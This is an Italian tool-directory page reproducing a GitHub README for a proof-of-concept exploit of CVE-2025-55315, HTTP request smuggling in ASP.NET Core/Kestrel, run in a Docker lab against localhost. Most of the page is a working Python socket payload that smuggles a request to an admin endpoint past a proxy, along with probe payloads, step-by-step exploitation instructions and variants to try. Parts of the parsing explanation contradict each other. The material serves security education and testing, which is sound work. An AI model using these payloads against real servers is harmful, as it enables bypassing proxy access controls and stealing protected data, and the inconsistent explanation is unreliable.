Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55315 — Exploit proof-of-concept per CVE-2025-55315 (HTTP Request Smuggling in .NET). Dimostra come una codifica chunked analizzata in modo improprio consenta agli attaccanti di introdurre richieste contrabbandate oltre i proxy e i bilanciatori di carico nei server ASP.NET Core/Kestrel vulnerabili. | Kitploit
Strumenti/GitHubGitHub/martinfabianionut/cve-2025-55315
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

18 mesi faNon ancora revisionato

Exploit proof-of-concept per CVE-2025-55315 (HTTP Request Smuggling in .NET). Dimostra come una codifica chunked analizzata in modo improprio consenta agli attaccanti di introdurre richieste contrabbandate oltre i proxy e i bilanciatori di carico nei server ASP.NET Core/Kestrel vulnerabili.

Condividi

CVE-2025-55315

Proof-of-concept exploit per CVE-2025-55315 (.NET HTTP Request Smuggling). Dimostra come una codifica chunked analizzata in modo improprio consenta agli attaccanti di contrabbandare richieste attraverso proxy e bilanciatori di carico in server ASP.NET Core/Kestrel vulnerabili.

📊 Presentazione

Visualizza la presentazione interattiva Prezi

Prezi Presentation

🎥 Fai clic sul badge qui sopra per visualizzare la presentazione interattiva completa su Prezi

Struttura del Progetto

  • Api - API ASP.NET Core consolidata con due Dockerfile:
    • Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerabile a CVE-2025-55315)
    • Dockerfile.patched - Usa .NET 10.0.100 (versione patchata)
  • PythonProxy - Proxy vulnerabile usato per la dimostrazione dell'exploit CVE-2025-55315 (privilegia Content-Length rispetto a Transfer-Encoding)
  • YarpProxy - Proxy inverso YARP per testare il bilanciamento del carico (non fa parte dell'exploit)

Nota: La vulnerabilità si trova nel parser HTTP del runtime .NET (Kestrel), non nel codice dell'applicazione. Entrambe le versioni usano codice sorgente identico ma versioni diverse del runtime .NET.

Avvio Rapido

root@kitploit:~
# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

Vedi DOCKER.md per istruzioni dettagliate sull'uso di Docker.

Dimostrazione dell'Exploit

Il proxy Python dimostra CVE-2025-55315 privilegiando Content-Length rispetto a Transfer-Encoding, abilitando l'HTTP request smuggling:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

Questo payload contrabbanda una seconda richiesta a /passwords/admin oltre il controllo di sicurezza del proxy, sfruttando la discrepanza tra come il proxy e il server backend analizzano la richiesta.

Interpretazione Visiva della Richiesta

Ecco come il proxy e il server backend interpretano lo stesso payload in modo diverso:

Differenze Chiave:

Spiegazione Dettagliata:

  • Proxy: Accetta 2;\n come dichiarazione di dimensione chunk valida (2 byte) → Legge xx come corpo del chunk di 2 byte → Passa al chunk successivo (39)
  • Backend: Rifiuta \n come terminatore di riga → La dimensione del chunk è ancora 2, ma l'intestazione si estende fino a 2;\nxx\r\n → Legge 39 come parte del corpo del chunk → 0\r\n termina il chunk
  • Risultato: La richiesta contrabbandata GET /passwords/admin è nascosta in ciò che il backend tratta come dati del chunk, ma viene analizzata come richiesta separata dopo il completamento dell'elaborazione del chunk

La richiesta contrabbandata GET /passwords/admin è nascosta in ciò che il proxy ritiene essere dati del corpo del chunk, ma il backend la analizza come una richiesta HTTP separata.

Identificare la Vulnerabilità

Prima di sfruttare la vulnerabilità, devi identificare quale header HTTP (Content-Length o Transfer-Encoding) i diversi componenti privilegiano. Ecco una guida passo passo:

Passo 1: Testare la Priorità degli Header

Invia una richiesta con entrambi gli header Content-Length e Transfer-Encoding: chunked per vedere quale rispetta ciascun componente:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Analisi:

  • Se il server elabora "Fa" (2 byte) → Privilegia Content-Length
  • Se il server elabora "Fabian" (corpo chunked completo) → Privilegia Transfer-Encoding

Passo 2: Testare Ogni Componente

Testa tutti i componenti della tua architettura per individuare discrepanze:

Testare l'API Non Sicura (Porta 5001)

root@kitploit:~
# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Testare l'API Sicura (Porta 5002)

root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly

Testare il Proxy Python (Porta 5027)

root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

Testare il Proxy YARP (Porta 5028)

root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict

Passo 3: Usare Burp Suite per i Test Manuali

  1. Intercettare la Richiesta: Cattura una normale richiesta POST a /passwords
  2. Modificare gli Header: Aggiungi entrambi gli header manualmente:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. Impostare il Corpo: Usa il formato di codifica chunked:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. Confrontare le Risposte: Invia a diversi endpoint e analizza quale porzione del corpo ciascuno elabora
  2. Identificare la Discrepanza: Se il proxy legge 2 byte ma il backend legge l'intero chunk, hai una vulnerabilità di desync

Passo 4: Creare l'Exploit

Una volta identificato:

  • Proxy: Privilegia Content-Length (legge solo N byte)
  • Backend: Privilegia Transfer-Encoding (legge il corpo chunked)

Puoi contrabbandare una seconda richiesta che il proxy non vede mai ma che il backend elabora.

Passo 5: Verificare l'Exploit

Esegui il payload completo dell'exploit (vedi la sezione "Dimostrazione dell'Exploit" qui sopra) e conferma:

  • Prima risposta: Risultato POST normale
  • Seconda risposta: Dati dell'endpoint admin (richiesta contrabbandata riuscita)

Strumenti Consigliati

  • Burp Suite: Creazione manuale di richieste e manipolazione degli header
  • Python socket: Controllo di basso livello per una formattazione HTTP precisa
  • curl con --data-binary: Test rapidi da riga di comando
  • Wireshark: Analisi a livello di pacchetto per vedere esattamente cosa riceve ogni componente

Variazioni Alternative dell'Exploit

L'exploit può essere creato in più modi. Sperimenta con approcci diversi:

Con Content-Length Esplicito

root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

Perché Funziona Senza Content-Length

  • Proxy: Accetta \n come terminatore di riga valido → Tratta 2;\n come dimensione del chunk → Legge 2 byte (xx)
  • Backend: Rifiuta \n → L'intestazione del chunk si estende fino a 2;\nxx\r\n → 39 diventa il corpo del chunk → 0\r\n termina il chunk
  • Risultato: Richiesta contrabbandata nascosta nel corpo del chunk, analizzata come richiesta separata dal backend

Idee per la Sperimentazione

Prova diversi scenari di desync modificando PythonProxy/proxy_server.py:

  • CL.TE: Il proxy usa Content-Length, il backend usa Transfer-Encoding
  • TE.CL: Il proxy usa Transfer-Encoding, il backend usa Content-Length (prova a creare le tue Api)
  • TE.TE: Entrambi usano Transfer-Encoding ma lo analizzano in modo diverso (come \n vs \r\n)

Sperimenta con:

  • Dimensioni e formati di chunk diversi
  • Più richieste contrabbandate in sequenza
  • Vari metodi HTTP (GET, POST, PUT, DELETE) - puoi aggiungerli nelle Api
  • Spazi bianchi e caratteri speciali
Scarica lo strumento

INTERPRETAZIONE DEL PROXY (accetta \n come terminatore di riga valido):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

INTERPRETAZIONE DEL BACKEND (rifiuta \n, richiede \r\n):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
ComponenteDimensione chunk 2;\nByte lettiCosa succede
Proxy✅ Dimensione chunk valida2 byte (xx)Tratta 2;\n come intestazione chunk completa, legge 2 byte, prosegue al chunk successivo
Backend❌ Terminatore di riga non validoLegge comunque un chunk di 2 byteL'intestazione del chunk non termina fino a xx\r\n, quindi 39 diventa il corpo del chunk, 0 termina il chunk